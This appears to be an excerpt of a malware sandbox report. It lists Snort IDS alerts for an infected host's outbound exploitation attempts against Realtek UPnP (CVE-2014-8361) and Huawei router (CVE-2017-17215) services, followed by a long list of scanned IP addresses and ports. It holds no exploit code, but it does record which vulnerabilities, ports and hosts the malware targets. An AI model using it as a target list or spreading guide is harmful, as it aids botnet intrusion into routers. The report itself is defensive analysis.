Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:36584 -> 89.186.152.105:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:35850 -> 166.167.121.109:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:35850 -> 166.167.121.109:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:46580 -> 222.46.101.20:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:46580 -> 222.46.101.20:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:36464 -> 152.242.221.75:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:36464 -> 152.242.221.75:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:33992 -> 178.153.143.199:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:33992 -> 178.153.143.199:52869
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:32888 -> 193.168.188.87:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:32888 -> 193.168.188.87:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:47566 -> 197.32.38.129:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:47566 -> 197.32.38.129:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:44088 -> 54.134.33.11:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:44088 -> 54.134.33.11:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:48400 -> 41.211.198.240:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:48400 -> 41.211.198.240:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:52806 -> 157.236.94.127:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:52806 -> 157.236.94.127:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:46876 -> 175.251.123.186:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:46876 -> 175.251.123.186:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:45588 -> 41.182.40.219:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:45588 -> 41.182.40.219:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:43004 -> 65.120.250.13:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:43004 -> 65.120.250.13:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:34274 -> 157.70.57.191:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:34274 -> 157.70.57.191:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:47874 -> 41.8.250.84:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:47874 -> 41.8.250.84:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:40936 -> 144.85.64.233:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:40936 -> 144.85.64.233:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:33838 -> 157.176.210.11:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:33838 -> 157.176.210.11:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:39404 -> 128.242.117.249:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:39404 -> 128.242.117.249:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:47708 -> 157.162.123.109:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:47708 -> 157.162.123.109:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:45996 -> 41.95.14.253:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:45996 -> 41.95.14.253:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:47126 -> 197.224.162.113:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:47126 -> 197.224.162.113:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:32902 -> 41.151.166.61:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:32902 -> 41.151.166.61:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:47964 -> 187.14.16.38:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:47964 -> 187.14.16.38:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:51210 -> 211.150.213.32:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:51210 -> 211.150.213.32:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:49402 -> 197.181.244.208:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:49402 -> 197.181.244.208:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:40162 -> 41.140.181.240:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:40162 -> 41.140.181.240:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:54458 -> 14.62.43.62:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:54458 -> 14.62.43.62:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:59396 -> 197.58.251.46:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:59396 -> 197.58.251.46:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:59710 -> 157.36.31.158:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:59710 -> 157.36.31.158:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:54002 -> 69.184.161.116:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:54002 -> 69.184.161.116:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:33364 -> 157.231.228.120:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:33364 -> 157.231.228.120:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:35480 -> 41.177.116.18:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:35480 -> 41.177.116.18:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:49096 -> 197.136.106.52:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:49096 -> 197.136.106.52:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:35578 -> 41.180.153.162:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:35578 -> 41.180.153.162:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:60454 -> 157.76.73.5:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:60454 -> 157.76.73.5:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:44222 -> 197.187.16.96:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 37.136.63.13 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 115.156.88.75 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 85.136.158.223 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 166.175.32.105 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 134.192.167.73 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.225.135.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 204.214.217.245 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 174.245.255.131 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 167.19.6.82 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 90.139.225.56 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 205.121.31.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 34.189.32.48 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 34.127.74.158 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 120.249.15.196 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.36.31.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 46.98.240.227 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 114.228.142.221 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 178.234.129.79 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 34.108.209.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 169.92.187.66 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 34.125.193.200 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 218.143.171.110 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 24.100.37.99 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 23.97.92.59 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 199.36.7.33 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 96.185.178.163 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.57.180.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 96.212.226.109 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 53.70.46.99 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 61.229.228.131 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 210.2.46.1 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 116.23.38.48 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 5.43.101.82 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 67.175.162.180 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 113.59.43.68 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 116.100.56.166 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 166.78.169.15 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.180.153.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 69.254.1.48 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.169.40.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 179.20.58.118 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 37.220.100.118 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.145.75.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 162.144.96.77 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 43.115.169.164 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 124.125.61.227 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.136.199.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 98.104.159.185 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 206.196.196.246 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.88.77.158 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 100.37.68.156 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 9.113.104.127 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 32.12.50.206 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 1.187.65.148 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 144.85.64.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.30.145.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 119.87.220.235 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.230.78.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 14.66.203.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.43.242.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 39.113.253.226 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 184.237.174.95 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 110.77.22.109 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 200.136.42.181 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 169.12.31.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 25.246.117.66 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 76.61.81.150 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 120.126.202.249 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 60.108.89.226 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.16.29.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.233.79.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 190.75.241.237 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 64.61.109.158 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 102.119.6.178 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.152.10.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 183.79.5.78 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 113.59.43.92 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 75.245.37.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.200.177.8 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 88.50.82.139 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.18.206.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 207.184.118.98 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 163.139.166.72 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 89.186.152.105 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 14.14.228.212 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 175.251.123.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.238.161.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 204.112.46.72 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 40.31.31.26 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 14.62.43.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 217.115.151.81 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 107.196.165.138 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 123.38.94.82 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 42.168.198.14 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.48.64.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 150.90.198.65 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 90.210.89.250 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 118.152.166.61 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 49.223.155.124 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 177.21.248.51 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.35.130.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 73.18.212.37 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 147.233.164.121 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 130.205.167.209 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 179.145.147.213 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 166.111.68.44 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 23.145.142.242 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.176.38.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 200.195.92.62 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 81.7.136.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.149.230.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 4.171.174.134 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.181.37.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.143.76.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 176.153.164.72 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 189.107.255.223 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 23.204.31.138 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 146.66.167.45 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 90.12.197.225 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 205.72.33.39 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.252.210.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 222.46.101.20 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 93.101.56.143 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 49.223.157.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 72.136.138.195 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 80.132.130.60 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 201.234.0.46 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 1.160.86.11 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.233.147.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 170.25.182.117 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 118.224.158.59 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 174.131.88.229 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 5.194.119.22 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 167.220.250.25 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 213.94.234.50 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 131.159.98.164 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 131.226.118.182 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.154.252.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 151.208.75.3 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 32.246.234.49 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 105.10.122.148 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 148.169.183.88 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 199.35.247.193 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 205.50.160.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.135.100.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.98.162.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 208.51.21.157 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.142.69.44 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 201.80.244.149 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.29.68.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 58.241.117.126 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 194.68.40.197 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 151.251.154.57 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 123.204.179.189 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 44.227.239.111 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.95.14.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.240.145.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 142.16.122.21 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 164.17.49.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 169.37.171.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 111.155.40.37 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 93.252.74.174 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 69.210.2.130 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.239.81.157 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 62.178.35.52 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 198.64.91.49 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 200.143.96.225 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 39.147.126.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 120.45.180.53 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.174.190.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 131.171.103.166 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.218.65.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.101.127.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.242.148.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 54.178.85.131 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 9.118.192.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 108.61.81.251 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 32.169.224.65 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.55.86.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 24.17.203.20 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 206.118.40.161 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.130.29.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 196.216.249.247 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.61.187.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.88.156.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 101.61.68.169 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 101.208.123.47 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 220.99.73.55 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 151.94.173.235 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 60.74.91.179 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 216.2.205.222 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 212.65.201.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 110.35.35.126 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 221.132.183.156 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 182.10.238.127 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 211.150.213.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 45.233.91.32 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 213.144.40.100 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 167.160.225.22 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 38.223.65.23 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 143.57.141.44 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 93.51.59.50 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 41.133.211.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.131.188.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 209.99.231.53 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 96.224.29.242 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 84.245.35.223 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 187.103.187.129 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 153.137.241.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.213.153.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 212.133.96.48 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 187.14.16.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.169.76.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 87.133.58.104 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 60.192.182.110 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 108.32.18.249 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.135.74.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 170.219.73.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 78.56.177.55 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 34.25.57.168 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 124.191.43.235 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 157.70.57.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 96.153.238.214 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 197.181.244.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.83.157.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 73.163.96.192 ports 2,5,6,8,9,52869
